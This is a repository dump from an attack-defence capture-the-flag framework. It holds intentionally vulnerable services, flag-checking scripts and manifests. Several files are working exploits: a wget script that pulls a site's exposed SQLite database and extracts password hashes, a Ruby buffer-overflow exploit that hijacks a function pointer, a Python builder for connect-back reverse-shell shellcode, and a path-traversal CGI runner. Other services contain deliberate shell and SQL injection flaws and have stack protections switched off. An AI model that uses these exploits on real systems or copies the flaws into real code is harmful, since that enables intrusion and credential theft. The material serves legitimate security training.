18 | COMMAND="$1"
19 | shift
20 |
21 | case $COMMAND in
22 | start) start_secretservice;;
23 | stop) stop_secretservice;;
24 | restart) stop_secretservice;start_secretservice;;
25 | esac
26 |
--------------------------------------------------------------------------------
/services/SecretService/src/database.h:
--------------------------------------------------------------------------------
1 | #ifndef DATABASE_ECJ4BNM3
2 | #define DATABASE_ECJ4BNM3
3 |
4 | #include
5 |
6 | sqlite3 * get_configured_database(const char * file);
7 | void database_put(sqlite3 * db, const char * key, const char * value);
8 | int database_get(sqlite3 * db, const char * key, void(*fnc)(const unsigned char*, void*), void * userdata);
9 | void database_delete(sqlite3 * db, const char * key);
10 | int database_iterate(sqlite3 * db, void(*fnc)(const unsigned char *, const unsigned char*, void*), void * userdata);
11 | int database_rows(sqlite3 * db);
12 |
13 | #endif /* end of include guard: DATABASE_ECJ4BNM3 */
14 |
--------------------------------------------------------------------------------
/services/SecretService/src/message.h:
--------------------------------------------------------------------------------
1 | #if !defined(MESSAGE_H)
2 | #define MESSAGE_H
3 |
4 | typedef enum {
5 | PARSE_OK = 0,
6 | PARSE_MESSAGE_INCOMPLETE = 1,
7 | PARSE_KEY_NOT_FOUND = 2,
8 | PARSE_VALUE_MALFORMED = 3
9 | } ParseResult;
10 |
11 | typedef struct {
12 | char * key_start;
13 | char * key_end;
14 | char * value_start;
15 | char * value_end;
16 | } MsgKeyValue;
17 |
18 | int msg_end_index(char * msg);
19 | ParseResult msg_parse_int(char * msg, char * key, int * value);
20 | int message_parser(char * msg, int (*fcn_ptr)(MsgKeyValue*, void*), void * data);
21 |
22 | #endif
23 |
--------------------------------------------------------------------------------
/services/SomeService/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "%SERVICE_DIRECTORY%/flag -p %HOST% %FLAGID% %FLAG% %SERVICE_NAME%",
4 | "check_flag" : "%SERVICE_DIRECTORY%/flag -c %HOST% %FLAGID% %FLAG% %SERVICE_NAME%"
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/services/SomeService/README:
--------------------------------------------------------------------------------
1 | SomeService
2 | ===========
3 | Robert Larsen
4 |
5 | Introduction
6 | ------------
7 | The SomeService is designed to test the CTFDaemon. It is simply a script that can deliver and check
8 | flags without an actual VM and service to check against. It does this by storing flags in the filesystem
9 | under '/tmp/[host IP]/[flag name]'.
10 | This means that if '/tmp/[host IP]' is writable, then the flag can be delivered. To prevent the CTFDaemon
11 | from delivering flags to a certain IP, just 'chmod' the '/tmp/[host IP]' directory to disallow writing.
12 | A flag is available and correct if [flag data] is equal to the result of 'cat /tmp/[host IP]/[flag name]'.
13 | To indicate the unavailability of a flag just delete this file or write garbage to it.
14 | To exploit this service, just read the content of the files.
15 |
16 | // vim: set syntax=asciidoc:
17 |
--------------------------------------------------------------------------------
/services/SomeService/flag:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | ACTION=$1
4 | HOST=$2
5 | FLAGID=$3
6 | FLAG=$4
7 | SERVICE_NAME=$5
8 |
9 | if ! test -d "/tmp/$HOST"; then
10 | mkdir "/tmp/$HOST"
11 | fi
12 |
13 | if ! test -d "/tmp/$HOST/$SERVICE_NAME"; then
14 | mkdir "/tmp/$HOST/$SERVICE_NAME"
15 | fi
16 |
17 | if [ "$ACTION" = "-p" ]; then
18 | echo $FLAG > "/tmp/$HOST/$SERVICE_NAME/$FLAGID" 2>/dev/null
19 | result=$?
20 | test $result -eq 0 && echo "Flag planted." || echo "Service seem down."
21 | exit $result
22 | else
23 | if ! test -f "/tmp/$HOST/$SERVICE_NAME/$FLAGID"; then
24 | echo "Service seems down."
25 | exit 1
26 | else
27 | fl=$(cat "/tmp/$HOST/$SERVICE_NAME/$FLAGID")
28 | if [ $fl != $FLAG ]; then
29 | echo "Wrong flag"
30 | exit 2
31 | else
32 | echo "Flag found"
33 | exit 0
34 | fi
35 | fi
36 | fi
37 |
--------------------------------------------------------------------------------
/services/SpeakersCorner/Makefile:
--------------------------------------------------------------------------------
1 | SpeakersCorner.tar.gz:
2 | tar czf $@ --exclude-vcs --transform "s/src/SpeakersCorner/g" src
3 |
--------------------------------------------------------------------------------
/services/SpeakersCorner/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "%SERVICE_DIRECTORY%/check_speakerscorner -p http://%HOST%/SpeakersCorner %FLAGID% %FLAG%",
4 | "check_flag" : "%SERVICE_DIRECTORY%/check_speakerscorner -c http://%HOST%/SpeakersCorner %FLAGID% %FLAG%",
5 | "exploitable" : "%SERVICE_DIRECTORY%/check_speakerscorner -e http://%HOST%/SpeakersCorner"
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/services/SpeakersCorner/SpeakersCorner.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/SpeakersCorner/SpeakersCorner.tar.gz
--------------------------------------------------------------------------------
/services/SpeakersCorner/exploit.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | if test -z "${1}"; then
4 | echo "Usage: ${0} "
5 | exit
6 | fi
7 |
8 | file=$(tempfile)
9 | while test -n "${1}"; do
10 | host=$1
11 | if wget --quiet -O ${file} "http://${host}/SpeakersCorner/speaker.sqlite"; then
12 | sqlite3 ${file} 'select password from users'|grep -E '[A-F0-9]{64}'
13 | fi
14 | shift
15 | done
16 | rm -f ${file}
17 |
--------------------------------------------------------------------------------
/services/SpeakersCorner/src/pages/active.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/services/SpeakersCorner/src/pages/all.php:
--------------------------------------------------------------------------------
1 |
15 | Latest blog entries
16 | getNumberOfBlogEntries();
18 | echo "Page " . ($first / $max + 1) . " of " . round(($total + $max - 1) / $max) . "
";
19 |
20 | $blogEntries = $db->getLatestBlogEntries($max, $first);
21 | foreach ($blogEntries as $entry) {
22 | $writer = $db->getUserById($entry->owner_id);
23 | $element = new ShortBlogEntry($entry, $writer);
24 | echo $element->render();
25 | }
26 | $cur = 0;
27 | $p = 1;
28 | while ($cur < $total) {
29 | echo "$p ";
30 | $p++;
31 | $cur += $max;
32 | }
33 | ?>
34 |
37 |
--------------------------------------------------------------------------------
/services/SpeakersCorner/src/pages/home.php:
--------------------------------------------------------------------------------
1 |
7 | Blogging for bloggers
8 |
9 | Here at last. Sign up for your own account and exercise your right to blog and comment!
10 | Come on. You know you want to.
11 |
12 | Latest blog entries
13 |
14 | $blogEntries = $db->getLatestBlogEntries(3, 0);
15 | foreach ($blogEntries as $entry) {
16 | $writer = $db->getUserById($entry->owner_id);
17 | $element = new ShortBlogEntry($entry, $writer);
18 | echo $element->render();
19 | }
20 | }
21 | ?>
22 |
--------------------------------------------------------------------------------
/services/SpeakersCorner/src/pages/newblog.php:
--------------------------------------------------------------------------------
1 | createBlogEntry($me, $_POST['subject'], $_POST['text'])) {
9 | header("Location: index.php?page=viewblog&blogid=" . $blog->id);
10 | }
11 | }
12 | }
13 |
14 | function renderPage() {
15 | ?>
16 | New blog entry
17 |
23 |
26 |
--------------------------------------------------------------------------------
/services/SpeakersCorner/src/pages/viewblog.php:
--------------------------------------------------------------------------------
1 | getBlogEntryById($id);
10 |
11 | if ($me !== null && isset($_POST['action']) && $_POST['action'] === "addcomment" && isset($_POST['comment'])) {
12 | $db->createBlogComment($me, $blogentry, $_POST['comment']);
13 | }
14 |
15 | function renderPage() {
16 | global $db;
17 | global $me;
18 | global $blogentry;
19 |
20 | $users = array();
21 | if ($blogentry === null) {
22 | echo "I could not find the blog that you requested. Sorry!";
23 | } else {
24 | $users[$blogentry->owner_id] = $db->getUserById($blogentry->owner_id);
25 | $element = new LongBlogEntry($blogentry, $users[$blogentry->owner_id]);
26 | echo $element->render();
27 |
28 | foreach ($db->getBlogComments($blogentry->id) as $comment) {
29 | if (!isset($users[$comment->owner_id])) {
30 | $users[$comment->owner_id] = $db->getUserById($comment->owner_id);
31 | }
32 | $element = new BlogCommentElement($comment, $users[$comment->owner_id]);
33 | echo $element->render();
34 | }
35 |
36 | if ($me !== null) {
37 | $element = new BlogCommentForm($blogentry);
38 | echo $element->render();
39 | }
40 | }
41 | }
42 | ?>
43 |
--------------------------------------------------------------------------------
/services/TheQuotinator/IDEA:
--------------------------------------------------------------------------------
1 | C server program that accepts new quotes and lists quotes
2 | Protocol:
3 |
4 | send: QUOTES "author name"
5 | recv: 34
6 |
7 | send: QUOTE 1 "author name"
8 | recv: 9
9 | hello world
10 |
11 | send: AUTHORS
12 | recv: 37....
13 |
14 | send: ADDQUOTE "author name" 9
15 | hello world
16 | recv: ok
17 |
18 | send: ADMIN "username" "password"
19 | recv: ok
20 |
21 | send: ADMIN "bad username" "bad password"
22 | recv: failed
23 |
24 | struct {
25 | void (*quotes_command)(...);
26 | void (*quote_command)(...);
27 | void (*addquote_command)(...);
28 | void (*admin_command)(...);
29 | void (*unknown_command)(...);
30 | char command[20];
31 | };
32 |
33 |
34 | Buffer overflow allows for overwriting the function pointers allowing for arbitrary code execution or at least privilege escalation by setting the `authors` function pointer.
35 |
--------------------------------------------------------------------------------
/services/TheQuotinator/Makefile:
--------------------------------------------------------------------------------
1 | CC=gcc
2 | CFLAGS=-ggdb -Wall -c -D_DAEMONIZE -D_PARENT_SUPERVISION
3 | LDFLAGS=
4 | CFILES=$(wildcard src/*.c)
5 | OBJECTS=$(patsubst %.c,%.o,$(CFILES))
6 | EXECUTABLE=quotinator
7 |
8 | $(EXECUTABLE): $(OBJECTS)
9 | $(CC) $(LDFLAGS) -o $@ $<
10 |
11 | .PHONY: run
12 | run: $(EXECUTABLE)
13 | ./$(EXECUTABLE) 9999 admin verysecret
14 |
15 | %.o: %.c
16 | $(CC) $(CFLAGS) -o $@ $<
17 |
18 | TheQuotinator.tar.gz:
19 | tar czf $@ --exclude-vcs -C .. TheQuotinator/Makefile TheQuotinator/quotinator-init TheQuotinator/src/main.c
20 |
--------------------------------------------------------------------------------
/services/TheQuotinator/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "%SERVICE_DIRECTORY%/check_thequotinator.rb -p %HOST% 666 %FLAGID% %FLAG%",
4 | "check_flag" : "%SERVICE_DIRECTORY%/check_thequotinator.rb -c %HOST% 666 %FLAGID% %FLAG%",
5 | "exploitable" : "%SERVICE_DIRECTORY%/list_authors_exploit.rb %HOST% 666"
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/services/TheQuotinator/TheQuotinator.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/TheQuotinator/TheQuotinator.tar.gz
--------------------------------------------------------------------------------
/services/TheQuotinator/check_thequotinator.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/ruby
2 |
3 | require 'socket'
4 |
5 | def help
6 | puts "Usage:"
7 | puts " #{__FILE__} -p - Plant a flag"
8 | puts " #{__FILE__} -c - Check a flag"
9 | puts " #{__FILE__} -e - Check for exploitability"
10 | exit
11 | end
12 |
13 | def plant host, port, name, data
14 | begin
15 | s = TCPSocket.open(host, port)
16 | s.write("ADDQUOTE \"#{name}\" #{data.length}\r\n#{data}\r\n")
17 | if s.gets.strip == "Quote received" then
18 | puts "Flag planted"
19 | else
20 | puts "Flag could not be planted"
21 | exit 1
22 | end
23 | rescue Exception => e
24 | puts "Exception"
25 | exit 1
26 | end
27 | exit 0
28 | end
29 |
30 | def check host, port, name, data
31 | begin
32 | s = TCPSocket.open(host, port)
33 | s.write("QUOTE \"#{name}\" 1\r\n")
34 | if s.gets.strip == data then
35 | puts "Flag intact"
36 | else
37 | puts "Flag is not intact"
38 | exit 1
39 | end
40 | rescue Exception => e
41 | puts "Exception"
42 | exit 1
43 | end
44 | exit 0
45 | end
46 |
47 | help if ARGV.length < 1
48 |
49 | case
50 | when ARGV[0] == "-p"
51 | help if ARGV.length < 5
52 | plant ARGV[1], ARGV[2], ARGV[3], ARGV[4]
53 | when ARGV[0] == "-c"
54 | help if ARGV.length < 5
55 | check ARGV[1], ARGV[2], ARGV[3], ARGV[4]
56 | when ARGV[0] == "-e"
57 | help if ARGV.length < 3
58 | puts "Not yet implemented"
59 | end
60 |
--------------------------------------------------------------------------------
/services/TheQuotinator/list_flags_exploit.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/ruby
2 |
3 | require 'socket'
4 |
5 | if ARGV.length < 3 then
6 | puts "Usage: exploit.rb \n\n"
7 | puts "Example: exploit.rb 127.0.0.1 6666 /var/services/TheQuotinator/quotinator\n"
8 | exit
9 | end
10 |
11 | BUFFER_SIZE=64
12 |
13 | host = ARGV[0]
14 | port = ARGV[1].to_i
15 | addr=`nm #{ARGV[2]} | grep admin_authors_command | awk '{print $1}'`
16 | fcn_ptr=Integer("0x#{addr}")
17 |
18 | password='A' * BUFFER_SIZE + [fcn_ptr].pack("V")[0,4]
19 |
20 | begin
21 | a = []
22 | s = TCPSocket.open(host, port)
23 | s.write("ADMIN \"user\" \"#{password}\"\r\n")
24 | s.gets #Read the "login failed" message
25 | s.write("QUIT\r\n")
26 | lines = s.gets.to_i
27 | lines.times {
28 | a << s.gets.chop
29 | }
30 | a.each do |author|
31 | s.write("QUOTE \"#{author}\" 1\r\n")
32 | puts s.gets.chop
33 | end
34 | s.close
35 | exit 0
36 | rescue
37 | end
38 | exit 1
39 |
--------------------------------------------------------------------------------
/services/TheQuotinator/quotinator:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/TheQuotinator/quotinator
--------------------------------------------------------------------------------
/services/TheQuotinator/quotinator-init:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # upstart-job
3 |
4 | QUOTINATOR_EXECUTABLE=quotinator
5 | QUOTINATOR_HOME=/var/services/TheQuotinator
6 | PORT=666
7 | ADMIN_NAME=admin
8 | ADMIN_PASSWORD=bjksafjr8jf3asbsdk4aa4
9 |
10 | function start_quotinator(){
11 | $QUOTINATOR_HOME/$QUOTINATOR_EXECUTABLE $PORT $ADMIN_NAME $ADMIN_PASSWORD
12 | }
13 |
14 | function stop_quotinator(){
15 | killall -9 $QUOTINATOR_EXECUTABLE
16 | }
17 |
18 | COMMAND="$1"
19 | shift
20 |
21 | case $COMMAND in
22 | start) start_quotinator;;
23 | stop) stop_quotinator;;
24 | restart) stop_quotinator;start_quotinator;;
25 | esac
26 |
--------------------------------------------------------------------------------
/services/TheQuotinator/quotinator_writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/TheQuotinator/quotinator_writeup.pdf
--------------------------------------------------------------------------------
/services/TheQuotinator/src/main.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/TheQuotinator/src/main.o
--------------------------------------------------------------------------------
/services/TicTacToe/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "python %SERVICE_DIRECTORY%/check_tictactoe.py -p %HOST% 7878 %FLAGID% %FLAG%",
4 | "check_flag" : "python %SERVICE_DIRECTORY%/check_tictactoe.py -c %HOST% 7878 %FLAGID% %FLAG%"
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/services/TicTacToe/src/helper/user.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/ruby
2 |
3 | USER_DB="users.sqlite"
4 | if not ARGV.size == 3 then
5 | puts "Usage: #{ARGV[0]} "
6 | else
7 | if ['create', 'authenticate'].include? ARGV[0] then
8 | #Check if exists
9 | if not File.exists?(USER_DB) then
10 | `sqlite3 #{USER_DB} "create table users(id integer primary key autoincrement, name varchar(32), password varchar(64), unique(name))"`
11 | end
12 |
13 | if ARGV[0] == 'create' then
14 |
15 | `sqlite3 #{USER_DB} "insert into users(name, password) values('#{ARGV[1]}','#{ARGV[2]}')" 2>/dev/null`
16 | if not $?.to_i == 0 then
17 | $stderr.puts "Username taken"
18 | exit 1
19 | else
20 | $stdout.puts "User created"
21 | exit 0
22 | end
23 | else
24 | out=`sqlite3 #{USER_DB} "select id from users where name='#{ARGV[1]}' and password='#{ARGV[2]}'" 2>/dev/null`
25 | if not $?.to_i == 0 then
26 | $stderr.puts "Unknown error"
27 | exit 2
28 | elsif out == "" then
29 | $stderr.puts "No such user"
30 | exit 1
31 | else
32 | puts out.to_i
33 | exit 0
34 | end
35 | end
36 | else
37 | $stderr.puts "Unknown command: #{ARGV[0]}"
38 | exit 2
39 | end
40 | end
41 |
--------------------------------------------------------------------------------
/services/TicTacToe/src/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | cd $(dirname ${0})
4 | rm -f ${1}.stop
5 | while ! test -f ${1}.stop; do
6 | ./${1}
7 | done
8 |
--------------------------------------------------------------------------------
/services/WebServer/Makefile:
--------------------------------------------------------------------------------
1 | YellowPages.tar.gz:
2 | tar czf $@ --exclude-vcs --transform "s/src/YellowPages/g" src
3 |
--------------------------------------------------------------------------------
/services/WebServer/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "%SERVICE_DIRECTORY%/check_yellowpages -p %HOST% %FLAGID% %FLAG%",
4 | "check_flag" : "%SERVICE_DIRECTORY%/check_yellowpages -c %HOST% %FLAGID% %FLAG%",
5 | "exploitable" : "%SERVICE_DIRECTORY%/check_yellowpages -e %HOST%"
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/services/WebServer/cgi_exec:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | ( test -z "$1" || test -z "$2" ) && echo "Usage: $0 ..." || (
4 | if test -n "$3"; then
5 | cmd="lynx --source http://$1:$2/cgi-bin/../../../../../../../../.."
6 | shift
7 | shift
8 | count=0
9 | while test -n "$1"; do
10 | if test $count -eq 0; then
11 | cmd="$cmd$1"
12 | elif test $count -eq 1; then
13 | cmd="$cmd?$1"
14 | else
15 | cmd="$cmd&$1"
16 | fi
17 | count=$((count+1))
18 | shift
19 | done
20 | $cmd
21 | else
22 | while read x; do
23 | cmd="lynx --source http://$1:$2/cgi-bin/../../../../../../../../.."
24 | count=0
25 | for arg in $x; do
26 | if test $count -eq 0; then
27 | cmd="$cmd$arg"
28 | elif test $count -eq 1; then
29 | cmd="$cmd?$arg"
30 | else
31 | cmd="$cmd&$arg"
32 | fi
33 | count=$((count+1))
34 | done
35 | $cmd
36 | done
37 | fi
38 | )
39 |
--------------------------------------------------------------------------------
/services/WebServer/src/cgi-bin/add:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | while test -n "${1}"; do
4 | key=$(echo "${1}"|awk -F= '{print $1}')
5 | val=$(echo "${1}"|awk -F= '{print $2}')
6 | if [ "$key" = "name" ]; then
7 | name="${val}"
8 | elif [ "$key" = "description" ]; then
9 | description="${val}"
10 | fi
11 | shift
12 | done
13 |
14 | if test -n "${name}" && test -n "${description}"; then
15 | grep -Ev "^${name}:" yp.db > tmp
16 | mv tmp yp.db
17 | echo "${name}:${description}" >>yp.db
18 | echo "${name} added"
19 | else
20 | echo "Malformed data"
21 | fi
22 |
--------------------------------------------------------------------------------
/services/WebServer/src/cgi-bin/search:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | while test -n "${1}"; do
4 | key=$(echo "${1}"|awk -F= '{print $1}')
5 | val=$(echo "${1}"|awk -F= '{print $2}')
6 | if [ "$key" = "name" ]; then
7 | name="${val}"
8 | fi
9 | shift
10 | done
11 |
12 | if test -n "${name}"; then
13 | description=$(grep -E "^${name}:" yp.db | sed 's/.*:\(.*\)/\1/g')
14 | if test -n "${description}"; then
15 | echo -e ""
16 | echo -e " Search result"
17 | echo -e " "
18 | echo -e " | Name: | "
19 | echo -e " ${name} | "
20 | echo -e "
"
21 | echo -e " "
22 | echo -e " | Description: | "
23 | echo -e " ${description} | "
24 | echo -e "
"
25 | echo -e "
"
26 | else
27 | echo -e "No user named ${name}"
28 | fi
29 | fi
30 |
--------------------------------------------------------------------------------
/services/WebServer/src/init-script:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | USER=yellow
4 | DIRECTORY=/var/services/YellowPages
5 |
6 | cd ${DIRECTORY} && sudo -u ${USER} screen -dmS "YellowPages" /usr/local/bin/node ws.js
7 |
--------------------------------------------------------------------------------
/services/WebServer/src/static/style.css:
--------------------------------------------------------------------------------
1 | body {
2 | text-align: center;
3 | }
4 |
5 | .center_div {
6 | text-align: center;
7 | display: none;
8 | }
9 |
10 | table {
11 | text-align: center;
12 | margin-left: auto;
13 | margin-right: auto;
14 | width: 100px;
15 | }
16 |
--------------------------------------------------------------------------------
/services/WhereAmI/Makefile:
--------------------------------------------------------------------------------
1 | CFLAGS=-ggdb -Wall -fno-stack-protector
2 | LDFLAGS=-lm -lsqlite3
3 |
4 | whereami: src/*.c
5 | $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS)
6 | execstack -s $@
7 |
8 | points: points.c
9 | $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS)
10 |
11 | .phony: run clean
12 |
13 | run: whereami
14 | ./whereami
15 |
16 | clean:
17 | rm -f whereami points
18 |
19 | test: src/*.c
20 | $(CC) -DTEST $(CFLAGS) -o $@ $^ $(LDFLAGS)
21 |
--------------------------------------------------------------------------------
/services/WhereAmI/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "%SERVICE_DIRECTORY%/client.py --plant %HOST% 8181 %FLAGID% %FLAG%",
4 | "check_flag" : "%SERVICE_DIRECTORY%/client.py --check %HOST% 8181 %FLAGID% %FLAG%"
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/services/WhereAmI/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import struct
4 | import sys
5 | import socket
6 |
7 | JMP = '\xeb\x08'
8 | CALL_RBX = '\xe6\x2c\x40\x00\x00\x00\x00\x00'
9 | BREAKPOINT = '\xcc'
10 | shellcode = \
11 | "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x89\xc5\x6a\x01" \
12 | "\xfe\x0c\x24\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x89\xef" \
13 | "\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x89\xef\x5e" \
14 | "\xff\xce\x78\x08\x56\x6a\x21\x58\x0f\x05\xeb\xf1\x48\xb8\x2f\x62" \
15 | "\x69\x6e\x2f\x2f\x73\x68\x99\x89\xd6\x52\x50\x48\x89\xe7\x6a\x3b" \
16 | "\x58\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
17 | "\x90\x90\x90"
18 |
19 | def replace_into(template, replace, index):
20 | return template[0:index] + replace + template[index + len(replace):]
21 |
22 | if not len(sys.argv) == 3:
23 | print 'Usage: %s ' % sys.argv[0]
24 |
25 | else:
26 | shellcode = replace_into(shellcode, JMP + CALL_RBX, 86)
27 | replacement = struct.pack('!HH', socket.ntohs(socket.AF_INET), int(sys.argv[2])) + socket.inet_aton(sys.argv[1])
28 | shellcode = replace_into(shellcode, replacement, shellcode.find('\x01\x01\x01\x01\x01\x01\x01\x01'))
29 | sys.stdout.write(shellcode)
30 |
--------------------------------------------------------------------------------
/services/WhereAmI/whereami:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/WhereAmI/whereami
--------------------------------------------------------------------------------
/services/Wizard/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "python %SERVICE_DIRECTORY%/check_wizard.py -p %HOST% 31415 %FLAGID% %FLAG%",
4 | "check_flag" : "python %SERVICE_DIRECTORY%/check_wizard.py -c %HOST% 31415 %FLAGID% %FLAG%"
5 | }
6 | }
7 |
--------------------------------------------------------------------------------